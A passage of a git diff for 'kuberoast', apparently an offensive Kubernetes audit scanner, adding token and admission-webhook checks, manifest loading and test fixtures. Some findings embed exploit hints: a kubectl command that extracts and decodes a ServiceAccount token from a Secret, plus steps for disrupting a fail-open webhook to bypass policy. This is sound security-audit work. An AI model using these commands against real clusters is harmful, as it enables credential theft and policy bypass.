+ f"kubectl -n {ns} get secret {name} -o jsonpath='{{.data.token}}' | base64 -d"
+ ),
+ impact=f"Impersonation of {sa_ns}/{sa_name} until token expiry.",
+ attack_techniques=["T1078.004"],
+ remediation="Prefer in-pod projected tokens over long-lived Secret-stored tokens.",
+ references=["https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"],
+ ))
+
+ # Non-default audience β typically an OIDC integration (e.g. cloud workload identity)
+ if aud and aud not in ("https://kubernetes.default.svc.cluster.local", "https://kubernetes.default.svc"):
+ audiences = aud if isinstance(aud, list) else [aud]
+ findings.append(Finding(
+ id="TOKEN-AUDIENCE",
+ title="ServiceAccount token with non-default audience",
+ description=(
+ f"Token for {sa_ns}/{sa_name} has audience(s) {audiences}. Often indicates an OIDC trust "
+ "(e.g. AWS IRSA, GCP Workload Identity, Vault auth). If stolen, valid against that audience too."
+ ),
+ severity="medium",
+ category="Tokens",
+ namespace=ns,
+ resource=f"secret/{name}",
+ exploitability="easy",
+ exploit=f"# Inspect target federations for audience(s): {audiences}",
+ impact="Token usable against external systems federated to this cluster's OIDC issuer.",
+ attack_techniques=["T1550.001"],
+ remediation="Audit external IdP trust policies; ensure subject-based conditions (sub=system:serviceaccount:NS:SA) so a stolen token can't be replayed broadly.",
+ references=[
+ "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/",
+ "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html",
+ ],
+ ))
+
+ return findings
diff --git a/kuberoast/scanners/webhooks.py b/kuberoast/scanners/webhooks.py
new file mode 100644
index 0000000..4270a24
--- /dev/null
+++ b/kuberoast/scanners/webhooks.py
@@ -0,0 +1,114 @@
+"""Admission webhook bypass audit.
+
+Validating/Mutating admission webhooks gate all writes to a cluster. If
+a webhook has `failurePolicy: Ignore`, an attacker who can take its
+backing service offline (DoS, scale to zero, delete service) bypasses
+the policy entirely. Webhooks with absurdly long timeoutSeconds give the
+attacker a wide window. Webhooks with sideEffects=Some + dryRun unset
+are an availability issue too.
+
+This scanner does *not* delete or scale services. It identifies the
+webhooks an attacker would target to bypass policy.
+"""
+from typing import List
+from ..utils.findings import Finding
+
+
+def _audit_webhook(wh, parent_name: str, kind: str) -> List[Finding]:
+ findings: List[Finding] = []
+ name = getattr(wh, "name", parent_name)
+ failure_policy = getattr(wh, "failure_policy", None) or "Fail"
+ timeout = getattr(wh, "timeout_seconds", None)
+ side_effects = getattr(wh, "side_effects", None)
+
+ if failure_policy == "Ignore":
+ findings.append(Finding(
+ id="WEBHOOK-FAIL-OPEN",
+ title=f"{kind} webhook with failurePolicy=Ignore",
+ description=(
+ f"Webhook {parent_name}/{name} has failurePolicy: Ignore. "
+ "If the backing service is unreachable (DoS, scaled to 0, deleted), the admission "
+ "decision becomes a default-allow β every gated rule is bypassable."
+ ),
+ severity="high",
+ category="Webhooks",
+ resource=f"{kind.lower()}/{parent_name}",
+ exploitability="moderate",
+ exploit=(
+ "# 1. Identify the backing service from webhook.clientConfig.service\n"
+ "# 2. Determine if you can disrupt it (delete, scale to 0, exhaust resources)\n"
+ "# 3. Once disrupted, the policy fails open and your admission request succeeds"
+ ),
+ impact="Policy enforcement bypassed during webhook outage. Attacker can deploy non-compliant workloads, escalate via privileged pods, etc.",
+ attack_techniques=["T1562.001"],
+ remediation="Set failurePolicy: Fail. If availability is a concern, run the webhook as a highly-available deployment with PDBs.",
+ references=[
+ "https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#failure-policy",
+ "https://attack.mitre.org/techniques/T1562/001/",
+ ],
+ ))
+
+ if timeout and timeout >= 15:
+ findings.append(Finding(
+ id="WEBHOOK-SLOW-TIMEOUT",
+ title=f"{kind} webhook with long timeout ({timeout}s)",
+ description=(
+ f"Webhook {parent_name}/{name} sets timeoutSeconds={timeout}. "
+ "Long timeouts widen the window for a slow-loris style DoS that triggers failurePolicy."
+ ),
+ severity="medium" if failure_policy == "Ignore" else "low",
+ category="Webhooks",
+ resource=f"{kind.lower()}/{parent_name}",
+ exploitability="moderate" if failure_policy == "Ignore" else "hard",
+ exploit="# Generate many concurrent admission requests to saturate the webhook server",
+ impact="Combined with failurePolicy: Ignore, easier to trigger bypass via DoS.",
+ remediation="Set timeoutSeconds to a small value (1-3s) and run the webhook backend HA.",
+ references=["https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/"],
+ ))
+
+ if side_effects in ("Unknown", "Some"):
+ findings.append(Finding(
+ id="WEBHOOK-SIDE-EFFECTS",
+ title=f"{kind} webhook declares sideEffects={side_effects}",
+ description=(
+ f"Webhook {parent_name}/{name} has sideEffects={side_effects}. "
+ "Dry-run requests must be supported (NoneOnDryRun) β otherwise dry-run tooling will skip the webhook, "
+ "which can be abused to inspect admission decisions without triggering audit."
+ ),
+ severity="low",
+ category="Webhooks",
+ resource=f"{kind.lower()}/{parent_name}",
+ exploitability="hard",
+ impact="Reconnaissance β attacker can probe admission rules via dry-run without firing webhook audit logs.",
+ remediation="Set sideEffects: None or NoneOnDryRun and ensure the webhook is idempotent.",
+ references=["https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#side-effects"],
+ ))
+
+ # CA bundle absence
+ cc = getattr(wh, "client_config", None)
+ if cc is not None and not getattr(cc, "ca_bundle", None):
+ findings.append(Finding(
+ id="WEBHOOK-NO-CA",
+ title=f"{kind} webhook lacks caBundle",
+ description=f"Webhook {parent_name}/{name} has no caBundle β TLS to the webhook service is unverified.",
+ severity="medium",
+ category="Webhooks",
+ resource=f"{kind.lower()}/{parent_name}",
+ exploitability="hard",
+ impact="An attacker on-path between the API server and the webhook service could intercept admission requests.",
+ remediation="Populate caBundle (often managed by cert-manager + cainjector).",
+ references=["https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/"],
+ ))
+
+ return findings
+
+
+def scan_webhooks(validating, mutating) -> List[Finding]:
+ findings: List[Finding] = []
+ for vw in (validating or []):
+ for wh in (getattr(vw, "webhooks", None) or []):
+ findings.extend(_audit_webhook(wh, vw.metadata.name, "ValidatingWebhookConfiguration"))
+ for mw in (mutating or []):
+ for wh in (getattr(mw, "webhooks", None) or []):
+ findings.extend(_audit_webhook(wh, mw.metadata.name, "MutatingWebhookConfiguration"))
+ return findings
diff --git a/kuberoast/utils/colors.py b/kuberoast/utils/colors.py
new file mode 100644
index 0000000..7645b83
--- /dev/null
+++ b/kuberoast/utils/colors.py
@@ -0,0 +1,64 @@
+"""Tiny ANSI color helper β no external deps, respects NO_COLOR + non-TTY."""
+import os
+import sys
+
+_SUPPORTS = sys.stdout.isatty() and "NO_COLOR" not in os.environ and os.environ.get("TERM") != "dumb"
+
+
+def _wrap(code: str):
+ def fn(s: str) -> str:
+ if not _SUPPORTS:
+ return s
+ return f"\033[{code}m{s}\033[0m"
+ return fn
+
+
+bold = _wrap("1")
+dim = _wrap("2")
+red = _wrap("31")
+green = _wrap("32")
+yellow = _wrap("33")
+blue = _wrap("34")
+magenta = _wrap("35")
+cyan = _wrap("36")
+gray = _wrap("90")
+red_bold = _wrap("1;31")
+orange = _wrap("38;5;208") # 256-color orange
+yellow_bold = _wrap("1;33")
+
+
+SEVERITY_COLORS = {
+ "critical": red_bold,
+ "high": orange,
+ "medium": yellow,
+ "low": cyan,
+ "info": gray,
+}
+
+EXPLOIT_COLORS = {
+ "trivial": red_bold,
+ "easy": orange,
+ "moderate": yellow,
+ "hard": gray,
+ "theoretical": dim,
+}
+
+
+def sev(label: str) -> str:
+ fn = SEVERITY_COLORS.get(label.lower(), lambda s: s)
+ return fn(label.upper())
+
+
+def exploit(label: str) -> str:
+ fn = EXPLOIT_COLORS.get(label.lower(), lambda s: s)
+ return fn(label)
+
+
+def supported() -> bool:
+ return _SUPPORTS
+
+
+def force_disable():
+ """For tests / piped output."""
+ global _SUPPORTS
+ _SUPPORTS = False
diff --git a/kuberoast/utils/findings.py b/kuberoast/utils/findings.py
index 6d05749..74ac350 100644
--- a/kuberoast/utils/findings.py
+++ b/kuberoast/utils/findings.py
@@ -2,6 +2,8 @@
from typing import List, Optional, Literal, Dict
Severity = Literal["info","low","medium","high","critical"]
+Exploitability = Literal["trivial","easy","moderate","hard","theoretical"]
+
class Finding(BaseModel):
id: str
@@ -14,3 +16,24 @@ class Finding(BaseModel):
metadata: Dict[str, str] = Field(default_factory=dict)
remediation: Optional[str] = None
references: List[str] = Field(default_factory=list)
+
+ exploitability: Optional[Exploitability] = None
+ exploit: Optional[str] = None
+ impact: Optional[str] = None
+ attack_techniques: List[str] = Field(default_factory=list)
+
+
+# Findings that are defense-in-depth / compliance hygiene rather than a
+# concrete attacker primitive. Hidden by default; surfaced with
+# --include-hygiene. The goal is signal: an operator triaging a cluster
+# wants escape primitives and escalation chains up top, not "this pod has
+# no CPU limit" buried among them.
+HYGIENE_FINDING_IDS = {
+ "POD-NO-LIMITS", # reliability, not security
+ "POD-NO-APPARMOR", # fires on ~every pod; low standalone signal
+ "POD-NO-SECCOMP", # fires on ~every pod; low standalone signal
+ "POD-SATOKEN", # default behaviour on ~every pod
+ "SECRET-TLS-MANUAL", # cert lifecycle hygiene
+ "POLICY-NONE", # "you should install Kyverno" β context, not a finding
+ "PSS-NOT-ENFORCED", # defense-in-depth label hygiene
+}
diff --git a/kuberoast/utils/kube.py b/kuberoast/utils/kube.py
index dd676c4..f37165e 100644
--- a/kuberoast/utils/kube.py
+++ b/kuberoast/utils/kube.py
@@ -14,9 +14,11 @@ def load_clients(kubeconfig: Optional[str] = None) -> Dict[str, Any]:
return {
"core": client.CoreV1Api(),
"apps": client.AppsV1Api(),
+ "batch": client.BatchV1Api(),
"rbac": client.RbacAuthorizationV1Api(),
"networking": client.NetworkingV1Api(),
"apiextensions": client.ApiextensionsV1Api(),
+ "admission": client.AdmissionregistrationV1Api(),
"version": client.VersionApi(),
}
@@ -110,3 +112,96 @@ def list_all_crds(apiext) -> List:
logger.warning("Insufficient permissions to list CRDs (HTTP %d) β skipping policy engine scan", e.status)
return []
raise
+
+
+def _safe_list(call, kind: str, **kwargs) -> List:
+ try:
+ return _paginate(call, **kwargs)
+ except ApiException as e:
+ if e.status in (401, 403):
+ logger.warning("Insufficient permissions to list %s (HTTP %d) β skipping", kind, e.status)
+ return []
+ raise
+
+
+def list_all_configmaps(core, namespace: Optional[str] = None) -> List:
+ if namespace:
+ return _safe_list(core.list_namespaced_config_map, "configmaps", namespace=namespace)
+ return _safe_list(core.list_config_map_for_all_namespaces, "configmaps")
+
+
+def list_all_deployments(apps, namespace: Optional[str] = None) -> List:
+ if namespace:
+ return _safe_list(apps.list_namespaced_deployment, "deployments", namespace=namespace)
+ return _safe_list(apps.list_deployment_for_all_namespaces, "deployments")
+
+
+def list_all_statefulsets(apps, namespace: Optional[str] = None) -> List:
+ if namespace:
+ return _safe_list(apps.list_namespaced_stateful_set, "statefulsets", namespace=namespace)
+ return _safe_list(apps.list_stateful_set_for_all_namespaces, "statefulsets")
+
+
+def list_all_daemonsets(apps, namespace: Optional[str] = None) -> List:
+ if namespace:
+ return _safe_list(apps.list_namespaced_daemon_set, "daemonsets", namespace=namespace)
+ return _safe_list(apps.list_daemon_set_for_all_namespaces, "daemonsets")
+
+
+def list_all_jobs(batch, namespace: Optional[str] = None) -> List:
+ if namespace:
+ return _safe_list(batch.list_namespaced_job, "jobs", namespace=namespace)
+ return _safe_list(batch.list_job_for_all_namespaces, "jobs")
+
+
+def list_all_cronjobs(batch, namespace: Optional[str] = None) -> List:
+ if namespace:
+ return _safe_list(batch.list_namespaced_cron_job, "cronjobs", namespace=namespace)
+ return _safe_list(batch.list_cron_job_for_all_namespaces, "cronjobs")
+
+
+def list_all_service_accounts(core, namespace: Optional[str] = None) -> List:
+ if namespace:
+ return _safe_list(core.list_namespaced_service_account, "serviceaccounts", namespace=namespace)
+ return _safe_list(core.list_service_account_for_all_namespaces, "serviceaccounts")
+
+
+def list_all_network_policies(networking, namespace: Optional[str] = None) -> List:
+ if namespace:
+ return _safe_list(networking.list_namespaced_network_policy, "networkpolicies", namespace=namespace)
+ return _safe_list(networking.list_network_policy_for_all_namespaces, "networkpolicies")
+
+
+def get_server_version(version_api) -> Optional[str]:
+ """Return the apiserver gitVersion string (e.g. 'v1.27.3'), or None."""
+ try:
+ info = version_api.get_code()
+ return getattr(info, "git_version", None)
+ except ApiException as e:
+ if e.status in (401, 403):
+ logger.warning("Insufficient permissions to read server version (HTTP %d)", e.status)
+ return None
+ raise
+ except Exception as e:
+ logger.warning("Could not read server version: %s", e)
+ return None
+
+
+def list_validating_webhooks(admission) -> List:
+ try:
+ return admission.list_validating_webhook_configuration().items or []
+ except ApiException as e:
+ if e.status in (401, 403):
+ logger.warning("Insufficient permissions to list validating webhook configurations (HTTP %d) β skipping", e.status)
+ return []
+ raise
+
+
+def list_mutating_webhooks(admission) -> List:
+ try:
+ return admission.list_mutating_webhook_configuration().items or []
+ except ApiException as e:
+ if e.status in (401, 403):
+ logger.warning("Insufficient permissions to list mutating webhook configurations (HTTP %d) β skipping", e.status)
+ return []
+ raise
diff --git a/kuberoast/utils/manifests.py b/kuberoast/utils/manifests.py
new file mode 100644
index 0000000..bd98a84
--- /dev/null
+++ b/kuberoast/utils/manifests.py
@@ -0,0 +1,153 @@
+"""Shift-left manifest loader.
+
+Walks a directory of YAML/JSON manifests and produces objects with the
+same attribute shape that the live K8s client returns, so the existing
+scanners work unchanged. Handles:
+
+ * multi-document YAML (---)
+ * Helm rendered output (skips non-K8s docs)
+ * Kustomize built output
+ * camelCase β snake_case conversion (matching kubernetes-python's quirks)
+
+We don't load yaml at import time β pyyaml is optional. Callers that pass
+--manifests get a clear error if pyyaml isn't installed.
+"""
+import json
+import os
+import re
+from pathlib import Path
+from types import SimpleNamespace
+from typing import Any, Dict, Iterable, List, Tuple
+
+
+# The K8s Python client uses idiomatic snake_case for most fields but has
+# specific quirks. We mirror them so scanners that already work against
+# live clusters work against manifest input too.
+SPECIAL_FIELD_MAP = {
+ "externalIPs": "external_i_ps",
+ "ipFamilyPolicy": "ip_family_policy",
+ "loadBalancerIP": "load_balancer_ip",
+ "publishNotReadyAddresses": "publish_not_ready_addresses",
+}
+
+
+_FIRST_CAP = re.compile(r"([a-z0-9])([A-Z])")
+_RUN_CAP = re.compile(r"([A-Z]+)([A-Z][a-z])")
+
+
+def _to_snake(name: str) -> str:
+ if name in SPECIAL_FIELD_MAP:
+ return SPECIAL_FIELD_MAP[name]
+ s = _FIRST_CAP.sub(r"\1_\2", name)
+ s = _RUN_CAP.sub(r"\1_\2", s)
+ return s.lower()
+
+
+# Fields that the kubernetes-python client keeps as raw dicts (maps), not as
+# typed sub-objects. Scanners iterate these with .items(), so we must not
+# convert them to SimpleNamespace. Keyed by snake_case field name.
+_DICT_FIELDS = {
+ "labels", "annotations", "data", "binary_data", "string_data",
+ "selector", "node_selector", "match_labels",
+ "limits", "requests", # resource quantities; stay as dict for easy access
+ "node_affinity_preset", "tolerations_preset",
+}
+
+
+def _convert(node: Any, field_name: str = "") -> Any:
+ """Recursively convert dict keys camelCaseβsnake_case and dictsβSimpleNamespace.
+
+ Known map-shaped fields (labels, data, etc.) remain plain dicts so
+ scanners can call .items() on them. Everything else becomes a
+ SimpleNamespace mirroring the K8s python client's typed sub-objects.
+ """
+ if isinstance(node, dict):
+ snake = _to_snake(field_name) if field_name else ""
+ if snake in _DICT_FIELDS:
+ # leave as a plain dict so .items()/.get() work
+ return {k: v for k, v in node.items()}
+ return SimpleNamespace(**{_to_snake(k): _convert(v, k) for k, v in node.items()})
+ if isinstance(node, list):
+ return [_convert(v) for v in node]
+ return node
+
+
+def _looks_like_k8s(doc: dict) -> bool:
+ return isinstance(doc, dict) and "apiVersion" in doc and "kind" in doc
+
+
+def _load_yaml_documents(text: str) -> List[dict]:
+ try:
+ import yaml # type: ignore
+ except ImportError as e:
+ raise RuntimeError(
+ "Manifest mode requires PyYAML. Install with: pip install 'kuberoast[manifests]' or pip install pyyaml"
+ ) from e
+ docs = []
+ for d in yaml.safe_load_all(text):
+ if d is None:
+ continue
+ if isinstance(d, list):
+ docs.extend(x for x in d if x)
+ else:
+ docs.append(d)
+ return docs
+
+
+def _load_json_documents(text: str) -> List[dict]:
+ parsed = json.loads(text)
+ if isinstance(parsed, list):
+ return [p for p in parsed if p]
+ if isinstance(parsed, dict) and parsed.get("kind") == "List":
+ items = parsed.get("items") or []
+ return list(items)
+ return [parsed]
+
+
+def _iter_files(root: str) -> Iterable[Path]:
+ p = Path(root)
+ if p.is_file():
+ yield p
+ return
+ for ext in ("*.yaml", "*.yml", "*.json"):
+ for f in p.rglob(ext):
+ if f.is_file():
+ yield f
+
+
+def load_manifests(path: str) -> Dict[str, List[Any]]:
+ """Load all manifests under `path`. Returns dict of {Kind: [objects...]}.
+
+ The returned objects are SimpleNamespace trees that mirror the shape
+ of `kubernetes` client v1 models closely enough for our scanners.
+ """
+ grouped: Dict[str, List[Any]] = {}
+ for f in _iter_files(path):
+ text = f.read_text(encoding="utf-8", errors="replace")
+ try:
+ if f.suffix == ".json":
+ docs = _load_json_documents(text)
+ else:
+ docs = _load_yaml_documents(text)
+ except Exception:
+ # skip unparseable files β common when scanning a mixed Helm chart dir
+ continue
+ for d in docs:
+ # Some Helm output produces nested "items" lists for List kinds
+ if isinstance(d, dict) and d.get("kind") == "List":
+ for item in (d.get("items") or []):
+ _emit(grouped, item)
+ continue
+ _emit(grouped, d)
+ return grouped
+
+
+def _emit(grouped: Dict[str, List[Any]], d: Any) -> None:
+ if not _looks_like_k8s(d):
+ return
+ kind = d.get("kind")
+ obj = _convert(d)
+ # Ensure metadata always exists for scanner attribute access
+ if not hasattr(obj, "metadata"):
+ obj.metadata = SimpleNamespace(name="?", namespace=None, labels={}, annotations={})
+ grouped.setdefault(kind, []).append(obj)
diff --git a/kuberoast/utils/versions.py b/kuberoast/utils/versions.py
new file mode 100644
index 0000000..bda6fed
--- /dev/null
+++ b/kuberoast/utils/versions.py
@@ -0,0 +1,88 @@
+"""Lightweight version parsing for CVE correlation.
+
+We deliberately avoid a packaging dependency. Kubernetes-world version
+strings come in a few shapes:
+
+ * "v1.27.3" (kubelet / apiserver gitVersion)
+ * "v1.27.3-eks-a5565ad" (managed distro suffix)
+ * "containerd://1.6.21" (container runtime)
+ * "docker://20.10.7" (container runtime)
+ * "cri-o://1.26.3" (container runtime)
+ * "5.15.0-1031-aws" (kernel)
+ * "registry.k8s.io/ingress-nginx/controller:v1.9.4" (image ref)
+
+`parse_version` extracts a comparable (major, minor, patch) tuple and is
+tolerant of junk. `lt` / `lte` compare two such tuples.
+"""
+import re
+from typing import Optional, Tuple
+
+Version = Tuple[int, int, int]
+
+_VER_RE = re.compile(r"(\d+)\.(\d+)(?:\.(\d+))?")
+
+
+def parse_version(s: Optional[str]) -> Optional[Version]:
+ """Pull the first major.minor[.patch] out of an arbitrary string."""
+ if not s:
+ return None
+ m = _VER_RE.search(s)
+ if not m:
+ return None
+ major = int(m.group(1))
+ minor = int(m.group(2))
+ patch = int(m.group(3)) if m.group(3) else 0
+ return (major, minor, patch)
+
+
+def parse_runtime(s: Optional[str]) -> Tuple[Optional[str], Optional[Version]]:
+ """Split 'containerd://1.6.21' β ('containerd', (1,6,21))."""
+ if not s:
+ return None, None
+ if "://" in s:
+ name, _, ver = s.partition("://")
+ return name.lower(), parse_version(ver)
+ return None, parse_version(s)
+
+
+def parse_image_tag(image: Optional[str]) -> Tuple[Optional[str], Optional[Version]]:
+ """Split an image ref into (repo_path, version_from_tag).
+
+ 'registry.k8s.io/ingress-nginx/controller:v1.9.4' β ('registry.k8s.io/ingress-nginx/controller', (1,9,4))
+ Digest-only refs return (repo, None).
+ """
+ if not image:
+ return None, None
+ # strip digest
+ repo_tag = image.split("@", 1)[0]
+ # tag is after the LAST colon, but only if that segment has no '/'
+ if ":" in repo_tag:
+ repo, _, tag = repo_tag.rpartition(":")
+ if "/" in tag: # the colon belonged to a port, not a tag
+ return repo_tag, None
+ return repo, parse_version(tag)
+ return repo_tag, None
+
+
+def lt(a: Optional[Version], b: Version) -> bool:
+ """a < b (a None β False, can't conclude vulnerable)."""
+ if a is None:
+ return False
+ return a < b
+
+
+def lte(a: Optional[Version], b: Version) -> bool:
+ if a is None:
+ return False
+ return a <= b
+
+
+def in_range(a: Optional[Version], lo: Optional[Version], hi: Optional[Version]) -> bool:
+ """lo <= a < hi, with None bounds open."""
+ if a is None:
+ return False
+ if lo is not None and a < lo:
+ return False
+ if hi is not None and a >= hi:
+ return False
+ return True
diff --git a/kuberoast/utils/workloads.py b/kuberoast/utils/workloads.py
new file mode 100644
index 0000000..f4b304f
--- /dev/null
+++ b/kuberoast/utils/workloads.py
@@ -0,0 +1,114 @@
+"""Synthesize pod-like objects from workload templates.
+
+Pod-level scanners already understand the shape `pod.spec.containers / ...`.
+Rather than rewrite every scanner to be 'workload-aware', we extract the
+PodTemplateSpec from each workload kind and synthesize a thin pod-like
+object that the existing scanners consume unchanged.
+
+Findings produced from synthesized pods get the controller kind/name
+prepended to the resource string so the operator can tell what they're
+looking at.
+"""
+from types import SimpleNamespace
+from typing import List, Tuple, Iterable, Optional
+
+
+WORKLOAD_KINDS = (
+ "Deployment", "StatefulSet", "DaemonSet",
+ "ReplicaSet", "Job", "CronJob",
+ "ReplicationController",
+)
+
+
+def _template_from(workload, kind: str):
+ """Return (template_metadata, template_spec) for any workload kind, or (None, None)."""
+ spec = getattr(workload, "spec", None)
+ if spec is None:
+ return None, None
+ if kind == "CronJob":
+ # spec.jobTemplate.spec.template
+ job_template = getattr(spec, "job_template", None)
+ if job_template is None:
+ return None, None
+ job_spec = getattr(job_template, "spec", None)
+ if job_spec is None:
+ return None, None
+ template = getattr(job_spec, "template", None)
+ else:
+ template = getattr(spec, "template", None)
+ if template is None:
+ return None, None
+ return getattr(template, "metadata", None), getattr(template, "spec", None)
+
+
+def synthesize_pod_from_workload(workload, kind: str):
+ """Build a pod-like SimpleNamespace from a workload template.
+
+ The synthesized pod preserves the workload's namespace and name, so
+ findings can clearly attribute back to the controller. We also merge
+ pod-template annotations with controller-level annotations so AppArmor
+ annotations (which are pod-template scoped) are visible.
+ """
+ tmpl_meta, tmpl_spec = _template_from(workload, kind)
+ if tmpl_spec is None:
+ return None
+
+ wl_meta = getattr(workload, "metadata", None)
+ ns = getattr(wl_meta, "namespace", None) if wl_meta else None
+ name = getattr(wl_meta, "name", "?") if wl_meta else "?"
+
+ # Merge annotations: template wins on conflict (AppArmor lives on template)
+ wl_annots = (getattr(wl_meta, "annotations", None) or {}) if wl_meta else {}
+ tmpl_annots = (getattr(tmpl_meta, "annotations", None) or {}) if tmpl_meta else {}
+ merged_annots = {**wl_annots, **tmpl_annots}
+
+ pod_meta = SimpleNamespace(
+ name=name,
+ namespace=ns,
+ annotations=merged_annots,
+ labels=(getattr(tmpl_meta, "labels", None) or {}) if tmpl_meta else {},
+ )
+
+ # Stamp the controller kind so reporting can adjust the resource string
+ pod_meta._kuberoast_owner_kind = kind # type: ignore[attr-defined]
+ pod_meta._kuberoast_owner_name = name # type: ignore[attr-defined]
+
+ return SimpleNamespace(metadata=pod_meta, spec=tmpl_spec)
+
+
+def relabel_workload_findings(findings, kind: str, name: str):
+ """Rewrite pod/ in resource strings to /."""
+ pod_prefix = f"pod/{name}"
+ new_prefix = f"{kind.lower()}/{name}"
+ out = []
+ for f in findings:
+ if f.resource and f.resource.startswith(pod_prefix):
+ f = f.model_copy(update={"resource": new_prefix + f.resource[len(pod_prefix):]})
+ out.append(f)
+ return out
+
+
+def amplify_daemonset_findings(findings, kind: str):
+ """A DaemonSet runs a pod on *every* node, so an escape primitive in its
+ template is a foothold on all nodes, not one pod. Bump the framing of
+ escape/attack-path findings to reflect node-wide blast radius."""
+ if kind != "DaemonSet":
+ return findings
+ out = []
+ for f in findings:
+ if f.category in ("Escape", "AttackPath") and f.severity in ("critical", "high"):
+ note = "[DaemonSet β scheduled on EVERY node: compromise yields a foothold on all nodes] "
+ new_impact = note + (f.impact or "")
+ f = f.model_copy(update={"impact": new_impact})
+ out.append(f)
+ return out
+
+
+def iter_workload_pods(workloads: Iterable, kind: str) -> Iterable[Tuple[object, str, str]]:
+ """Yield (synthesized_pod, kind, name) for each workload that has a template."""
+ for w in workloads:
+ pod = synthesize_pod_from_workload(w, kind)
+ if pod is None:
+ continue
+ name = getattr(getattr(w, "metadata", None), "name", "?")
+ yield pod, kind, name
diff --git a/pyproject.toml b/pyproject.toml
index 1123d15..217d1f0 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
[project]
name = "kuberoast"
-version = "0.2.0"
+version = "0.4.0"
description = "Offensive Kubernetes misconfiguration & attack-path scanner"
readme = "README.md"
license = {text = "MIT"}
@@ -18,9 +18,13 @@ dependencies = [
]
[project.optional-dependencies]
+manifests = [
+ "pyyaml>=6.0",
+]
dev = [
"pytest>=7.0",
"pytest-cov>=4.0",
+ "pyyaml>=6.0",
]
[project.scripts]
diff --git a/tests/conftest.py b/tests/conftest.py
index d180508..ec81313 100644
--- a/tests/conftest.py
+++ b/tests/conftest.py
@@ -1,4 +1,9 @@
-"""Shared test fixtures providing mock Kubernetes objects."""
+"""Shared test fixtures providing mock Kubernetes objects.
+
+Helpers here intentionally mirror the *shape* of the kubernetes-python
+client's snake_case attributes. Scanners use getattr() everywhere so
+SimpleNamespace stand-ins are sufficient.
+"""
import pytest
from types import SimpleNamespace
@@ -12,9 +17,14 @@ def make_metadata(name="test", namespace="default", labels=None, annotations=Non
)
+def make_env(name, value=None, value_from=None):
+ return SimpleNamespace(name=name, value=value, value_from=value_from)
+
+
def make_container(name="app", privileged=False, run_as_user=None,
allow_privilege_escalation=None, read_only_root_filesystem=None,
- caps_add=None, seccomp_profile=None, limits=None):
+ caps_add=None, seccomp_profile=None, limits=None,
+ volume_mounts=None, env=None, command=None, args=None, image=None):
capabilities = SimpleNamespace(add=caps_add or [], drop=[]) if caps_add else SimpleNamespace(add=[], drop=[])
resources = SimpleNamespace(limits=limits, requests=None) if limits else SimpleNamespace(limits=None, requests=None)
sc = SimpleNamespace(
@@ -25,17 +35,29 @@ def make_container(name="app", privileged=False, run_as_user=None,
capabilities=capabilities,
seccomp_profile=seccomp_profile,
)
- return SimpleNamespace(name=name, security_context=sc, resources=resources)
+ return SimpleNamespace(
+ name=name,
+ security_context=sc,
+ resources=resources,
+ volume_mounts=volume_mounts or [],
+ env=env or [],
+ command=command or [],
+ args=args or [],
+ image=image,
+ )
def make_pod(name="test-pod", namespace="default", containers=None,
host_network=False, host_pid=False, host_ipc=False,
automount_service_account_token=None, volumes=None,
service_account_name="default", annotations=None,
- pod_seccomp=None):
+ pod_seccomp=None, pod_run_as_user=None):
if containers is None:
containers = [make_container()]
- pod_sc = SimpleNamespace(seccomp_profile=pod_seccomp) if pod_seccomp else SimpleNamespace(seccomp_profile=None)
+ pod_sc = SimpleNamespace(
+ seccomp_profile=pod_seccomp,
+ run_as_user=pod_run_as_user,
+ )
spec = SimpleNamespace(
containers=containers,
init_containers=[],
@@ -54,6 +76,17 @@ def make_pod(name="test-pod", namespace="default", containers=None,
)
+def make_volume_mount(name="vol", mount_path="/data", read_only=False):
+ return SimpleNamespace(name=name, mount_path=mount_path, read_only=read_only)
+
+
+def make_host_path_volume(name="hpvol", path="/var/run/docker.sock"):
+ return SimpleNamespace(
+ name=name,
+ host_path=SimpleNamespace(path=path, type=None),
+ )
+
+
def make_namespace(name="default", labels=None):
return SimpleNamespace(metadata=make_metadata(name=name, labels=labels))
@@ -65,6 +98,13 @@ def make_role(name="test-role", namespace="default", rules=None, kind="Role"):
)
+def make_cluster_role(name="test-clusterrole", rules=None):
+ return SimpleNamespace(
+ metadata=SimpleNamespace(name=name, namespace=None, labels={}, annotations={}),
+ rules=rules or [],
+ )
+
+
def make_rule(verbs=None, resources=None, api_groups=None):
return SimpleNamespace(
verbs=verbs or [],
@@ -82,6 +122,15 @@ def make_binding(name="test-binding", role_kind="Role", role_name="test-role",
)
+def make_cluster_binding(name="test-crb", role_kind="ClusterRole", role_name="cluster-admin",
+ subjects=None):
+ return SimpleNamespace(
+ metadata=SimpleNamespace(name=name, namespace=None, labels={}, annotations={}),
+ role_ref=SimpleNamespace(kind=role_kind, name=role_name, api_group="rbac.authorization.k8s.io"),
+ subjects=subjects or [],
+ )
+
+
def make_subject(kind="ServiceAccount", name="default", namespace="default"):
return SimpleNamespace(kind=kind, name=name, namespace=namespace)
@@ -95,6 +144,14 @@ def make_secret(name="my-secret", namespace="default", secret_type="Opaque",
)
+def make_configmap(name="my-cm", namespace="default", data=None, binary_data=None):
+ return SimpleNamespace(
+ metadata=make_metadata(name=name, namespace=namespace),
+ data=data or {},
+ binary_data=binary_data or {},
+ )
+
+
def make_service(name="my-svc", namespace="default", svc_type="ClusterIP",
load_balancer_source_ranges=None, external_ips=None):
return SimpleNamespace(
@@ -115,10 +172,94 @@ def make_ingress(name="my-ing", namespace="default", tls=None, rules=None):
)
-def make_node(name="node-1", addresses=None):
+def make_node(name="node-1", addresses=None, provider_id=None, labels=None,
+ kubelet_version=None, container_runtime_version=None, kernel_version=None,
+ os_image=None):
if addresses is None:
addresses = [SimpleNamespace(type="InternalIP", address="10.0.0.1")]
+ node_info = SimpleNamespace(
+ kubelet_version=kubelet_version,
+ container_runtime_version=container_runtime_version,
+ kernel_version=kernel_version,
+ os_image=os_image,
+ )
+ return SimpleNamespace(
+ metadata=make_metadata(name=name, labels=labels),
+ spec=SimpleNamespace(provider_id=provider_id),
+ status=SimpleNamespace(addresses=addresses, node_info=node_info),
+ )
+
+
